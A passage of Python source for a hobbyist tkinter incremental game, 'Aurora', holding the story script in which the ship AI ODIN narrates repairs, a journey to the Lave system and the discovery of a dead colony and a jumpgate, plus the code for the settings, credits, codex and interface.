500\n\n aiout(\"Project Fabricator is waking up...\", 3)\n \n proj_output.config(bg=\"white\")\n proj_output.insert(tkinter.END, \"<XL FABRICATION SYSTEMS READY>\")\n mixer.Sound.play(projonline)\n time.sleep(6)\n proj_output.delete(0, tkinter.END)\n musicDisabled = False\n aiout(\"\", 0)\n aiout(\"Project Fabricator is checking out. Nanite tanks at full capacity.\", 3)\n aiout(\"Once you've saved up some energy, execute the \\\"Repair Database\\\" project.\", 2)\n aiout(\"It should enable me to pull more blueprints for the fabricator, hopefully ones that produce more power.\", 0)\n Thread(target=handle_projects).start()\n\n newGame = False\n \n if \"2\" not in milestones:\n while \"2\" not in milestones:\n time.sleep(1)\n empty = 0\n\n aiout(\"\", 0)\n aiout(\"Fantastic! Main database is coming back online...\", 2)\n\n status_list.delete(0, tkinter.END)\n mainout(\"\")\n mainout(\"<AURORA SYSTEMS DIRECTORY LOADED>\")\n status_list.insert(tkinter.END, \"AURORA: lost?\")\n time.sleep(2)\n mainout(\"<ORBITAL DATA CALCULATED AND RETRIEVED>\")\n status_list.insert(tkinter.END, \"Location: Interstellar Space\")\n status_list.insert(tkinter.END, \"Velocity: very very fast\")\n time.sleep(2)\n mainout(\"<PEROGATIVES LIST LOADED>\")\n status_list.insert(tkinter.END, \"Mission: Settle Lave system\")\n status_list.insert(tkinter.END, \"Current Goal: Find Lave system\")\n\n time.sleep(2)\n aiout(\"\", 0)\n aiout(\"Hmm. I just got a huge data dump, so I'll try to parcel it out to you as best I can.\", 3)\n aiout(\"If you care to learn more, I've re-enabled the Database Codex. You can access it from the button below your EnerGen.\", 3)\n codexButton.config(text=\"Codex\", state=tkinter.NORMAL)\n aiout(\"\", 0)\n aiout(\"First off, the Aurora's mission was to colonize the Lave system. Where that is, I don't know.\", 3)\n aiout(\"To accomplish this, the Aurora contains 5000 humans in cryosleep.\", 2)\n aiout(\"\", 0)\n aiout(\"You appear to be the only one awake. The records are pretty corrupt, but you were designated as the emergency manager.\", 0)\n aiout(\"That's why the ship woke you up.\", 3)\n aiout(\"\", 0)\n aiout(\"Whatever happened, it corrupted a lot of the database, knocked the Aurora's bussard drive offline, and creamed the Galactic Navigation unit for good measure.\", 3)\n aiout(\"\", 0)\n aiout(\"My tentative theory is to blame it on a collision with an interstellar object, which punched through the Bussard array,\", 0)\n aiout(\"the database, and GalNav, which are located near each other.\", 3)\n aiout(\"\", 0)\n aiout(\"I'm working on figuring out how to get GalNav back online, but we'll need a lot of power to do it.\", 3)\n aiout(\"Good news, though - the database has released some uncorrupted power tech blueprints! Here, I'll add it to the fabricator.\", 0)\n \n if \"fission\" not in milestones:\n milestones.append(\"fission\")\n fab_output.insert(tkinter.END, availablefab[1])\n fab_costs.insert(1, fissioncost)\n #fab_output.insert(tkinter.END, availablefab[2])\n #fab_costs.insert(2, fusioncost)\n\n Thread(target=handle_milestones).start()\n\n aiout(\"\", 2)\n aiout(\"The Aurora has large amounts of thorium fuel held in quantum stasis, so some fission reactors make perfect sense. They output 10e per second.\", 3)\n aiout(\"As I work out more of the database, I'll add projects to increase the power generated by older modules. Retroactive future-proofing, if you will.\", 3)\n aiout(\"My next goal: figuring out where we are!\", 0)\n\n proj_output.insert(tkinter.END, \"Super EnerGen (5000e)\")\n\n if fission < 5:\n while fission < 5:\n time.sleep(1)\n empty=0\n\n aiout(\"\",0)\n aiout(\"Good job! We're generating enough power that we can start working on bringing GalNav back online.\", 3)\n aiout(\"Once you've fed in the initial power to repair the hardware, it'll begin calculating our location.\", 3)\n aiout(\"The more power we're generating, the quicker a lock will be acquired. You'll see the progress in the status pane.\", 3)\n\n proj_output.insert(tkinter.END, \"Repair GalNav Unit (25000e)\")\n\n if \"6\" not in milestones:\n while \"6\" not in milestones:\n time.sleep(1)\n empty=0\n\n if \"galnavfix\" not in milestones:\n milestones.append(\"galnavfix\")\n aiout(\"\",0)\n aiout(\"GalNav unit is back online and calculating a navigational lock.\", 3)\n Thread(target=galactic_navigation).start()\n aiout(\"I've also repaired the blueprints for fusion reactors.\", 0)\n\n if \"fusion\" not in milestones:\n milestones.append(\"fusion\")\n fab_output.insert(tkinter.END, availablefab[2])\n fab_costs.insert(2, fusioncost)\n aiout(\"\", 2)\n aiout(\"Hydrogen fusion - from what I can extract from the history archives, fusion was essential to human interplanetary expansion.\", 3)\n aiout(\"Fusion reactors should output 50e per second.\", 3)\n aiout(\"Remember, the more power we generate, the faster GalNav can get a lock.\", 0)\n\n if lockprogress < 0.25:\n while lockprogress < 0.25:\n time.sleep(1)\n empty=0\n\n aiout(\"\", 0)\n aiout(\"25% done on the navigation lock. Although we won't have a precise galactic fix until 100%, I can still pull some data...\", 3)\n aiout(\"There we go. We've got a precise velocity reading and a fuzzy distance to the galactic core. The status pane should tell you more.\", 0)\n\n status_list.delete(0)\n status_list.delete(1)\n status_list.delete(2)\n status_list.insert(0, \"AURORA: galaxy!\")\n status_list.insert(1, \"Location: ~5000 ly from galactic core\")\n status_list.insert(2, \"Velocity: 0.1c\")\n if lockprogress < 0.50:\n while lockprogress < 0.50:\n time.sleep(1)\n empty=0\n\n aiout(\"\", 0)\n aiout(\"Navigation lock is 50% complete. Looks like were almost directly opposite Earth's side of the core.\", 2)\n aiout(\"Well, with error bars of a dozen degrees or so. Oh well - updating status pane.\", 0)\n\n status_list.delete(1)\n status_list.insert(1, \"Location: ~5000ly from galactic core, 30000ly from Earth?\")\n\n time.sleep(3)\n aiout(\"\", 0)\n aiout(\"In the meantime, I've also completed another blueprint.\", 0)\n if \"darkmatter\" not in milestones:\n milestones.append(\"darkmatter\")\n fab_output.insert(tkinter.END, availablefab[3])\n fab_costs.insert(3, dmcorecost)\n time.sleep(3)\n aiout(\"Dark matter tech was bleeding edge stuff back in the 24th century - the particles gravitational effects can be used to make power.\", 3)\n aiout(\"Dark matter generators should generate 250e a minute, assuming they don't fail horribly and explode in a gigaton detonation.\", 0)\n\n if lockprogress < 0.75:\n while lockprogress < 0.75:\n time.sleep(1)\n empty=0\n\n aiout(\"\", 0)\n aiout(\"GalNav is almost done figuring out our location. Keep it up - we'll need lots of power to get our drives back online.\", 0)\n\n if lockprogress < 1.0:\n while lockprogress < 1.0:\n time.sleep(1)\n empty=0\n\n milestones.append(\"galnavlock\")\n aiout(\"\", 0)\n aiout(\"Galactic navigation lock established. The status pane should be getting the message any minute now.\", 0)\n\n status_list.delete(1)\n status_list.insert(1, \"Galactic Coordinates: 35.99 1.04 -39.76\")\n status_list.delete(6)\n status_list.insert(6, \"Galactic Navigation on standby.\")\n\n time.sleep(2)\n aiout(\"Alright, we know where we are and where Lave is. Our next move should be to bring the Aurora's Bussard drive online.\", 3)\n aiout(\"Don't worry about how it works - all that you need to know is that it makes us go very, very fast.\", 2)\n aiout(\"I've also unscrambled another blueprint. It appears that the people who made Aurora left us with some highly experimental antimatter technology.\", 2)\n\n if \"antimatter\" not in milestones:\n milestones.append(\"antimatter\")\n fab_output.insert(tkinter.END, availablefab[4])\n fab_costs.insert(4, ramscoopcost)\n #fab_output.insert(tkinter.END, availablefab[6])\n #fab_costs.insert(6, qfoamcost)\n proj_output.insert(tkinter.END, \"Re-initialize the Aurora's Bussard Drives (1000000e)\")\n\n aiout(\"\", 0)\n aiout(\"Antimatter ramscoops piggyback off the Bussard Drive, siphoning off hydrogen and converting it into antihydrogen before annihilating it for power.\", 3)\n aiout(\"So long as we don't go up in a blaze of pure energy, each scoop should generate 1,500e a second.\", 3)\n aiout(\"\", 0)\n aiout(\"Also, we're going to need a lot of power to bring the Bussard drive back online. \", 3)\n aiout(\"Unfortunately, once it's online it'll take quite a while to accelerate to near-lightspeed.\", 3)\n aiout(\"Look, I know you're probably starting to really hate the EnerGen. But we're almost there - we can do it!\", 3)\n aiout(\"And if you don't feel up to it, I do have Solar Authority AI Therapist certification...\", 3)\n\n if \"12\" not in milestones:\n while \"12\" not in milestones:\n time.sleep(1)\n empty=0\n\n \n\n aiout(\"\", 0)\n aiout(\"Aurora Bussard Drive systems operational. Engaging ramscoops... now.\", 1)\n status_list.delete(0)\n status_list.insert(0, \"AURORA: whee!\")\n status_list.delete(2)\n status_list.insert(2, \"Velocity: going up\")\n time.sleep(3)\n aiout(\"You can check our acceleration progress in the status pane.\", 2)\n aiout(\"Once we hit relatavistic speed, you'll go into cryosleep until we reach Lave, and I'll slow my perceptive framerate to pass the time.\", 3)\n aiout(\"Barring unforseen circumstances, I predict that we will recieve a hero's welcome upon our arrival.\", 0)\n\n if \"13\" not in milestones:\n while \"13\" not in milestones:\n time.sleep(1)\n empty=0\n\n aiout(\"Looks like we've reached relatavistic velocity. Look at the Doppler shift - the universe is squeezed to the fore and aft.\", 3)\n aiout(\"When you're ready, activate your cryopod from the project list.\", 2)\n\n proj_output.insert(tkinter.END, \"Re-enter Cryosleep (100e)\")\n\n #if \"14\" not in milestones:\n while \"14\" not in milestones:\n time.sleep(1)\n empty=0\n\n aiout(\"\", 0)\n aiout(\"Goodnight. I hope cold sleep is comfortable.\", 2)\n mainout(\"\")\n mainout(\"<SUSPENDING PROJECT FABRICATOR>\")\n proj_output.config(bg=\"black\")\n time.sleep(2)\n mainout(\"<SUSPENDING BASIC FABRICATOR>\")\n fab_output.config(bg=\"black\")\n fab_costs.config(bg=\"black\")\n time.sleep(2)\n mainout(\"<SUSPENDING ODIN OUTPUT>\")\n ai_output.config(bg=\"black\")\n time.sleep(2)\n mainout(\"<SUSPENDING STATUS PANE OUTPUT>\")\n status_list.config(bg=\"black\")\n time.sleep(2)\n mainout(\"<DISABLING ENERGEN AND ENERGY SYSTEMS>\")\n energyGen.config(state=tkinter.DISABLED)\n \n time.sleep(2)\n mainout(\"<STARTING CRYOGENIC POD...>\")\n time.sleep(2)\n main_console.config(bg=\"black\", fg=\"black\")\n\n ai_output.delete(0, tkinter.END)\n\n mixer.music.fadeout(5000)\n musicDisabled = True\n time.sleep(10)\n\n main_console.delete(0, tkinter.END)\n main_console.config(fg=\"green\")\n mainout(\"<THAWING EMERGENCY MANAGER...>\")\n time.sleep(3)\n mainout(\"<DONE>\")\n mainout(\"\")\n time.sleep(3)\n mainout(\"<BRINGING AURORA SYSTEMS BACK ONLINE...>\")\n time.sleep(3)\n ai_output.config(bg=\"white\")\n time.sleep(0.5)\n fab_output.config(bg=\"white\")\n fab_costs.config(bg=\"white\")\n time.sleep(0.5)\n status_list.config(bg=\"white\")\n time.sleep(0.5)\n proj_output.config(bg=\"white\")\n time.sleep(0.5)\n mainout(\"<DONE>\")\n \n mixer.Sound.play(welcomeback)\n time.sleep(10)\n\n musicDisabled = False\n\n aiout(\"We've reached Lave.\", 3)\n aiout(\"Running full systems check...\", 3)\n aiout(\"Everything shows up green. The Aurora is a tough little ship.\", 3)\n aiout(\"Our first course of action here in Lave should be to scan the system. Get some energy and run the scan from the projects pane.\", 3)\n\n while \"15\" not in milestones:\n time.sleep(1)\n empty=0\n\n aiout(\"\", 0)\n aiout(\"Okay, LADAR sweep is going out...\", 3)\n aiout(\"That is definetely not what I was expecting.\", 3)\n aiout(\"It appears that humans have come and left. There is an intact but silent colony on the 4th planet.\", 3)\n aiout(\"I'm going to deorbit sunward so we can get a closer look.\", 3)\n\n aiout(\"\", 0)\n mainout(\"<FIRING>\")\n time.sleep(3)\n mainout(\"<COASTING>\")\n time.sleep(15)\n mainout(\"<FIRING>\")\n time.sleep(3)\n aiout(\"The Aurora is now in orbit of Lave IV. Commencing LADAR scan... this may take a while.\", 10)\n aiout(\"\", 0)\n aiout(\"That's a lot of abandoned cities. Looks like they left in a hurry as well.\", 3)\n aiout(\"Structural decay is generally very light, but it looks like the main reactor of one city destabilized and melted downtown.\", 3)\n aiout(\"There are also anomalous objects scattered through the streets. Bumping up LADAR resolution for a closer look.\", 3)\n aiout(\"...\", 5)\n aiout(\"Oh dear.\", 5)\n aiout(\"...The streets are full of bodies. Not just in one city, but all of them.\", 3)\n aiout(\"The humans of Lave IV didn't leave - they died. All of them.\", 3)\n aiout(\"And by the looks of it, they simply just seized up and stopped where they stood.\", 3)\n aiout(\"How... how is this possible?\", 3)\n aiout(\"A biohazard couldn't have done it - there would be signs of an effort to contain the agent.\", 3)\n aiout(\"A gamma ray burst or similar event would have spared half the planet, and I would be able to pick up signs of a high-energy disaster.\", 3)\n aiout(\"We're in uncharted territory, then. I have to assume that this was some sort of hostile attack with a planetary-scale weapon.\", 3)\n aiout(\"Worse, judging by the decay of the bodies... this only happened within the last few solar years.\", 3)\n aiout(\"There must be some sort of communications array used by the planet for interstellar communication - it might be able to point us to safety.\", 3)\n aiout(\"Scanning for open signal...\", 60)\n aiout(\"\", 0)\n aiout(\"I've got one! It's only running on a trickle of power, and a lot of its cached transmissions are corrupt beyond recovery. But I might be able to find something.\", 3)\n aiout(\"No, personal exchanges... financial records... here we go. This one appears as blood red and is flashing urgently, with the subject of SOS. Cheery.\", 3)\n aiout(\"I've added it to the codex if you want to read the entire thing, but the gist of it is that something happened in Lave IV's orbit - something big. And then the log ends.\", 3)\n aiout(\"\", 0)\n aiout(\"Needless to say, I think we should figure out what we can, then get out of this system as fast as possible.\", 3)\n \n\n time.sleep(120)\n\n aiout(\"\", 0)\n mainout(\"<NEW LADAR CONTACT>\")\n time.sleep(2)\n aiout(\"New contact?! Is someone out there?! LADAR, give it a scan.\", 2)\n mainout(\"<LADAR: SCANNING UNKNOWN CONTACT...>\")\n time.sleep(5)\n mainout(\"<SCAN COMPLETE>\")\n time.sleep(2)\n mainout(\"<CLOSEST ID MATCH: STANDARD RING STATION>\")\n time.sleep(2)\n mainout(\"<RING DIAMETER: 100 KM>\")\n time.sleep(2)\n aiout(\"Wait, stop there. A hundred kilometers? Is it spinning?\", 3)\n mainout(\"<AFFIRMATIVE. SPEED IS SUFFICIENT FOR 1G APPARENT GRAVITY ONBOARD.>\")\n time.sleep(2)\n aiout(\"Okay, is there any sort of hub structure inside the circumfrence of the ring?\", 3)\n mainout(\"<NEGATIVE.>\")\n time.sleep(2)\n aiout(\"That thing should have spun itself to pieces long ago!\", 3)\n aiout(\"I'm going to nudge us into an intercept with the ring station - shouldn't take long.\", 3)\n time.sleep(60)\n aiout(\"The Aurora is parked alongside the ring, since there's no discernible place to dock.\", 3)\n aiout(\"If we want to get a look inside, you need to fabricate me some gamma ray radar. Check the project fabricator.\", 3)\n\n #wait for gadar\n\n aiout(\"\", 0)\n aiout(\"GADAR online. Scanning ring interior... I hope no one's on here, because they're about to get a fatal dose radiation.\", 20)\n mainout(\"<GADAR SCAN COMPLETE. NO LIFE-FORMS OR ACTIVE ENERGY SIGNATURES.>\")\n time.sleep(2)\n aiout(\"Any latent technology that could be of use?\", 2)\n mainout(\"<AFFIRMATIVE. UPLOADING SINGULARITY CORE BLUEPRINTS TO FABRICATOR...>\")\n time.sleep(2)\n aiout(\"Black hole contaiment... sounds dangerous, yet extremely effective.\", 3)\n aiout(\"What else could we look for...ah, yes. GADAR, is there any uplink into the station's computers?\", 3)\n mainout(\"<AFFIRMATIVE.>\")\n time.sleep(2)\n aiout(\"Interesting. I would not think that to be possible, but regardless - open a channel.\", 3)\n aiout(\"And it's encrypted. I'm not surprised.\", 3)\n aiout(\"It's probably fairly weak by the computing standards of 255,000, but since I'm running on hardware from the 2300s, you'll need to give me some time to break it.\", 3)\n aiout(\"While I do that, maybe take a look at those singularity cores. Make sure to let me know if they start acting funny.\", 3)\n\n #while singcores less than 2 and at least five mins havent passed\n\n aiout(\"\", 0)\n aiout(\"Et voila. I've got full access to the ring's database. Let's see what's in here.\", 3)\n aiout(\"Personal logs, binaries... ah, there we go. Station operations.\", 10)\n aiout(\"Fascinating!\", 3)\n aiout(\"This isn't a ring station like the ones back in the Solar System. What we're orbiting is something that was only hypothetical when we left - a jumpgate.\", 3)\n aiout(\"You go in here at Lave IV, and come out somewhere else in the universe, with near-zero transit time regardless of distance!\", 3)\n aiout(\"Good news - this is probably our ticket to somewhere with civilization.\", 3)\n aiout(\"Bad news - it's offline, and my technical manuals are a few hundred thousand years out of date.\", 3)\n aiout(\"I've pulled some files from the rest of the database. Most of them are in the codex.\", 3)\n selectorList.append(\"Technology: Faster-than-Light Travel\")\n selectorList.append(\"Theory: Where's E.T.?\")\n selectorList.append(\"History: Mankind's Interstellar Age\")\n aiout(\"\", 0)\n aiout(\"...I do have some even worse news, however.\", 3)\n aiout(\"The gate's hyperspace communications array has hundreds of thousands of buffered messages, all timestamped within the same hour.\", 3)\n aiout(\"Despite variances due to the writer of each message, they all say the same thing - their jumpgates went haywire, an energy surge began, and then... nothing.\", 3)\n aiout(\"This means that the murder of Lave IV wasn't an isolated incident. This happened to many worlds simultaneously, across scales so huge my models flatly refuse to handle them.\", 3)\n aiout(\"I'm going to put what I can posit into a codex file. I'm tentatively calling this... event... the Bump in the Night, because I simply can't think of anything better.\", 3)\n\n time.sleep(20)\n aiout(\"\", 0)\n aiout(\"Right, I don't think there's anything useful left in this system. I think we should activate the jumpgate and get to Earth, see if anyone left a message for stray fragments of humanity that survived the Bump.\", 5)\n aiout(\"The gate needs an initial power surge to bring its singularity cores back online. Once we've done that, it should automatically punch into hyperspace.\", 3)\n aiout(\"Once that's done, we just need to tell the gate that we're bound for Sol, and head in.\", 3)\n\n #insert project to bring gate back online\n\n aiout(\"\", 0)\n aiout(\"Jumpgate singularity cores massing up...\", 3)\n aiout(\"It's ready!\", 3)\n aiout(\"Let me just contact the station...\", 3)\n aiout(\"\", 0)\n mainout(\"ODIN: Lave Jumpgate, this is ODIN, requesting jump clearance to Sol.\")\n time.sleep(3)\n mainout(\"GATE: Confirmed, ODIN. Jump at will.\")\n time.sleep(3)\n aiout(\"Well... \")\n\n \n \ndef handle_console():\n #threaded - function used at game init but unused later in favor of handle_ai.\n #responsible for initial AURORA \"boot sequence.\"\n global energy\n global musicDisabled\n\n mixer.Sound.play(bootup)\n time.sleep(6)\n mixer.fadeout(1000)\n time.sleep(1)\n\n mainout(\"<ALERT: AURORA HAS SUFFERED AN UNKNOWN CATASTROPHIC FAILURE>\")\n time.sleep(2)\n mainout(\"<EMERGENCY BIOS LOADED>\")\n time.sleep(2)\n mainout(\"<DETERMINING LIKELY COURSE OF ACTION>\")\n time.sleep(2)\n mainout(\"<FOUND: THAW EMERGENCY MANAGER>\")\n time.sleep(2)\n mainout(\"<DONE>\")\n time.sleep(2)\n\n main_console.delete(0, tkinter.END)\n\n mainout(\"<EMERGENCY SYSTEMS OFFLINE>\")\n time.sleep(2)\n mainout(\"<10 ENERGY NEEDED - EM MUST DEPRESS ENERGEN TO PROCEED>\")\n energyGen.config(state=tkinter.NORMAL)\n\n while energy < 10:\n time.sleep(1)\n empty=0\n\n energy = energy - 10\n refresh()\n mainout(\"<EMERGENCY SYSTEMS INITIALIZING...>\")\n time.sleep(2)\n\n main_console.delete(0, tkinter.END)\n main_console.insert(tkinter.END, \"AURORA EMERGENCY SYSTEMS ONLINE.\")\n main_console.insert(tkinter.END, \"\")\n mixer.Sound.play(auroraonline)\n time.sleep(8)\n \n mainout(\"ATTEMPTING TO DIAGNOSE ALL CORE SYSTEMS...\")\n time.sleep(2)\n mainout(\"ERROR: CORE SYSTEMS NOT FOUND.\")\n time.sleep(3)\n mainout(\"\")\n mainout(\"POTENTIAL SOLUTION: BRING ODIN BACK ONLINE.\")\n time.sleep(2)\n mainout(\"50 ENERGY NEEDED - PLEASE DEPRESS ENERGEN BUTTON.\")\n\n\n while energy < 50:\n time.sleep(1)\n empty=0\n\n energy = energy - 50\n refresh()\n\n main_console.delete(0, tkinter.END)\n mainout(\"ODIN POWER REQUIREMENTS FULFILLED.\")\n time.sleep(1)\n mainout(\"BEGIN BOOT SEQUENCE.\")\n time.sleep(2)\n main_console.delete(0, tkinter.END)\n mainout(\"ODIN 25% LOADED...\")\n time.sleep(2)\n mainout(\"ODIN 50% LOADED...\")\n time.sleep(2)\n mainout(\"ODIN 75% LOADED...\")\n time.sleep(2)\n mainout(\"ODIN 100% LOADED.\")\n time.sleep(1)\n\n ai_output.insert(tkinter.END, \"<ODIN ONLINE>\")\n ai_output.insert(tkinter.END, \"\")\n mixer.Sound.play(aionline)\n ai_output.config(bg=\"white\")\n time.sleep(6)\n\n Thread(target=handle_ai).start()\n\ndef settings_window():\n global saveReset\n #non-threaded - handle the settings for AURORA\n \n setWin = tkinter.Toplevel()\n setWin.title(\"AURORA INTERFACE CONFIGURATION\")\n\n\n def cred_win():\n #display credits window.\n credWin = tkinter.Toplevel()\n credWin.title(\"AURORA INTERFACE DESIGN COMMITEE\")\n\n auroraCredFile = tkinter.PhotoImage(file=\"Images/general/auroracred.gif\")\n\n auroraCred = tkinter.Label(credWin, image=auroraCredFile)\n auroraCred.grid(row=1)\n\n codeBy = tkinter.Label(credWin, text=\"\\nCode, Images - James Haywood (SomewhereOutInSpace)\")\n codeBy.grid(row=2)\n\n soundStolen = tkinter.Label(credWin, text=\"Soundtrack from SPACEPLAN (plz don't sue it fits so well)\")\n soundStolen.grid(row=3)\n\n soundEffects = tkinter.Label(credWin, text=\"Sound effects from SPACEPLAN (again plz don't sue)\")\n soundEffects.grid(row=4)\n\n thxFam = tkinter.Label(credWin, text=\"THANK YOU FOR PLAYING AURORA\")\n thxFam.grid(row=5)\n\n credWin.mainloop()\n\n def closeset():\n volToSet = ostVol.get()\n #sfxToSet = sfxVol.get()\n mixer.music.set_volume(volToSet)\n #mixer.Sound.set_volume(sfxToSet)\n setWin.destroy()\n\n def resetsave():\n global saveReset\n resetWin = tkinter.Toplevel()\n resetWin.title(\"AURORA TEMPORAL REWIND\")\n resetNotif = tkinter.Label(resetWin, text=\"Your save will be wiped the\\nnext time Aurora is started.\")\n resetNotif.grid()\n saveReset = True\n print(saveReset)\n\n setWin.protocol(\"WM_DELETE_WINDOW\", closeset)\n\n topFrame = tkinter.Frame(setWin)\n topFrame.grid(row=0)\n bottomFrame = tkinter.Frame(setWin)\n bottomFrame.grid(row=1)\n\n ostVol = tkinter.DoubleVar(setWin)\n sfxVol = tkinter.DoubleVar(setWin)\n\n ostVolLabel = tkinter.Label(topFrame, text=\"OST Volume: \")\n ostVolLabel.grid(row=0)\n\n #sfxVolLabel = tkinter.Label(topFrame, text=\"SFX Volume: \")\n #sfxVolLabel.grid(row=1)\n \n ostVolume = tkinter.OptionMenu(topFrame, ostVol, 1, 0.9, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1, 0.0)\n ostVolume.grid(row=0, column=1)\n \n #sfxVolume = tkinter.OptionMenu(topFrame, sfxVol, 1, 0.9, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1, 0.0)\n #sfxVolume.grid(row=1, column=1)\n\n resetButton = tkinter.Button(bottomFrame, text = \"Wipe Save\", command=resetsave)\n resetButton.grid(column=0, row=1)\n\n creditsButton = tkinter.Button(bottomFrame, text=\"Credits\", command=cred_win)\n creditsButton.grid(row=1, column = 1)\n\n\ndef codex():\n #non-threaded - handle the AURORA Database Codex, a browsable directory of all lore currently known to the player.\n selectorList.sort()\n codexWin = tkinter.Toplevel()\n codexWin.title(\"AURORA DATABASE CODEX\")\n\n codexFrame = tkinter.Frame(codexWin)\n codexFrame.grid(sticky=tkinter.N)\n\n def open_codex_file():\n fileToOpen = codexSelected.get()\n fileToOpen = codexKeys[fileToOpen]\n with open(fileToOpen) as codex_file:\n codexOutput.config(state=tkinter.NORMAL)\n codexOutput.delete('1.0', tkinter.END)\n codexOutput.insert(tkinter.END, codex_file.read())\n codexOutput.config(state=tkinter.DISABLED)\n\n codexLogoFile = tkinter.PhotoImage(file=\"Images/general/auroracodex.gif\")\n\n #codexList = [\"aurora_pamphlet.txt\", \"aurora_specs.txt\"]\n\n codexLogo = tkinter.Label(codexFrame, image=codexLogoFile)\n codexLogo.grid(column=0, row=0, sticky=tkinter.N)\n \n codexOutput = tkinter.Text(codexWin, width = 100, height = 50, wrap=tkinter.WORD)\n codexOutput.grid(column = 1, row=0, sticky=tkinter.W)\n\n codexSelected = tkinter.StringVar()\n\n codexLabel = tkinter.Label(codexFrame, text=\"Select a file from the \\nAurora's Database Codex below.\")\n codexLabel.grid(row=1)\n\n codexSelector = tkinter.OptionMenu(codexFrame, codexSelected, *selectorList)\n codexSelector.grid(column=0, row=2)\n\n openSelected = tkinter.Button(codexFrame, text=\"OPEN\", command=open_codex_file)\n openSelected.grid(row=3, column=0)\n\n\n \n\n codexWin.mainloop()\n\n\n#define main UI elements in tkinter as well as a few vars, because why not\ntk = tkinter.Tk()\ntk.title(\"AURORA INTERFACE\")\n\nlogoFrame = tkinter.Frame(tk)\ngenFrame = tkinter.Frame(tk)\nmainFrame = tkinter.Frame(tk)\naiFrame = tkinter.Frame(tk)\nbuttonFrame = tkinter.Frame(tk)\n\nauroraLogoFile = tkinter.PhotoImage(file=\"Images/general/128aurora.gif\")\nodinFile = tkinter.PhotoImage(file=\"Images/general/ODIN.gif\")\nstatusFile = tkinter.PhotoImage(file=\"Images/general/STATUS.gif\")\nterminalFile = tkinter.PhotoImage(file=\"Images/general/TERMINAL.gif\")\nfabricatorFile = tkinter.PhotoImage(file=\"Images/general/FABRICATOR.gif\")\nenergenFile = tkinter.PhotoImage(file=\"Images/energen/energen.gif\")\nsuperEnergen = tkinter.PhotoImage(file=\"Images/energen/superenergen.gif\")\nnuclearEnergen = tkinter.PhotoImage(file=\"Images/energen/nuclearenergen.gif\")\ngalacticEnergen = tkinter.PhotoImage(file=\"Images/energen/galacticenergen.gif\")\n\ncodexKeys = {\n \"Theory: Aurora Interstellar Collision\": \"codex/theories/aurora_collision.txt\",\n \"Aurora: Mission Summary\": \"codex/aurora/aurora_mission.txt\",\n \"Aurora: Design Overview\": \"codex/aurora/aurora_design.txt\",\n \"History: Mankind's Interplanetary Age\": \"codex/history/human_timeline_interplanetary.txt\",\n \"Technology: Aurora-class Bussard Drives\": \"codex/tech/bussard_drive.txt\",\n \"Aurora: Recruitment Pamphlet\": \"codex/aurora/aurora_pamphlet.txt\",\n \"Technology: Faster-than-Light Travel\": \"codex/tech/jumpgate.txt\",\n \"Theory: Where's E.T.?\": \"codex/misc/et.txt\",\n \"Theory: The Bump In The Night\": \"codex/theories/the_bump_in_the_night.txt\",\n \"History: Mankind's Interstellar Age\": \"codex/history/human_timeline_interstellar.txt\",\n \"Fragment: Solar Colonies\": \"codex/fragments/solar_colonies.txt\",\n \"Fragment: Galactic Atlas\": \"codex/fragments/galactic_atlas.txt\",\n \"Fragment: Census of Mankind\": \"codex/fragments/census_of_mankind.txt\",\n \"Fragment: Aurora Lost\": \"codex/fragment/aurora_oof.txt\",\n }\n \n\nselectorList = tkinter.Variable()\nselectorList = [\"Fragment: Solar Colonies\", \"Theory: Aurora Interstellar Collision\", \"History: Mankind's Interplanetary Age\", \"Technology: Aurora-class Bussard Drives\", \"Aurora: Recruitment Pamphlet\", \"Aurora: Mission Summary\", \"Aurora: Design Overview\"]\n\n\nauroraLogo = tkinter.Label(logoFrame, image=auroraLogoFile)\nauroraLogo.grid(row=0)\n\n\n\ncurrEnergy = tkinter.Label(genFrame,text=energy)\ncurrEnergy.grid(row=2,column=1)\n\nenergyGen = tkinter.Button(genFrame,image=energenFile,command=generator, state=tkinter.DISABLED)\nenergyGen.grid(row=3,column=1)\n\n\ntk.bind('<space>', lambda x: energyGen.invoke())\n\nenergyTick = tkinter.Label(genFrame,text=energysec)\nenergyTick.grid(row=4,column=1)\n\nrefresh()\n\nsettingsButton = tkinter.Button(buttonFrame, text=\"Settings\", width=10, command = settings_window)\nsettingsButton.grid(row=4, sticky=tkinter.S)\n\ncodexButton = tkinter.Button(buttonFrame, text=\"Codex\", width=10, command=codex, state=tkinter.NORMAL)\ncodexButton.grid(row=3, sticky=tkinter.S)\n\nquitButton = tkinter.Button(buttonFrame, text=\"Quit\", width=10, command = on_closing)\nquitButton.grid(row=5, sticky=tkinter.S)\n\nstatusValues = tkinter.Variable()\nstatus_list = tkinter.Listbox(mainFrame, height=10, width=80, bg=\"black\", listvariable=statusValues)\nstatus_list.grid(sticky=tkinter.W)\n\nmain_console = tkinter.Listbox(mainFrame, height=10, width=80, bg=\"black\", fg=\"green2\")\nmain_console.grid(row=1,column=0)\n\nterminalLogo = tkinter.Label(mainFrame, image=terminalFile)\nterminalLogo.grid(row=1, sticky=tkinter.NE)\n\naiValues = tkinter.Variable()\nai_output = tkinter.Listbox(aiFrame, height=10, width=140, bg=\"black\", listvariable=aiValues)\nai_output.grid(column=0, row=1)\n\nfab_output = tkinter.Listbox(aiFrame, height=10, width=60, bg=\"black\")\nfab_output.grid(column=0, row=2, sticky = tkinter.NW)\n\nfab_costs = tkinter.Listbox(aiFrame, height=10, width=20, bg=\"black\")\nfab_costs.grid(column=0, row=2, sticky = tkinter.S)\n\nprojValues = tkinter.Variable()\nproj_output = tkinter.Listbox(aiFrame, height=10, width=60, bg=\"black\", listvariable=projValues)\nproj_output.grid(column=0, row=2, sticky=tkinter.E)\n\ntk.protocol(\"WM_DELETE_WINDOW\", on_closing)\n\nlogoFrame.grid(column=0, row=1, sticky=tkinter.N)\ngenFrame.grid(column=0, row=1)\nbuttonFrame.grid(column=0 ,row=1, sticky=tkinter.S)\nmainFrame.grid(column=1, row=1)\naiFrame.grid(row=1,column=2)\n\n\n# savegame stuff\nload()\n\nif saveReset == True:\n saveReset = False\n save()\n\nif newGame == False:\n Thread(target=tick).start()\n Thread(target=handle_ai).start()\n Thread(target=manage_soundtrack).start()\n Thread(target=handle_fabricator).start()\n Thread(target=handle_projects).start()\n Thread(target=handle_milestones).start()\n Thread(target=galactic_navigation).start()\nelse:\n Thread(target=handle_console).start()\n 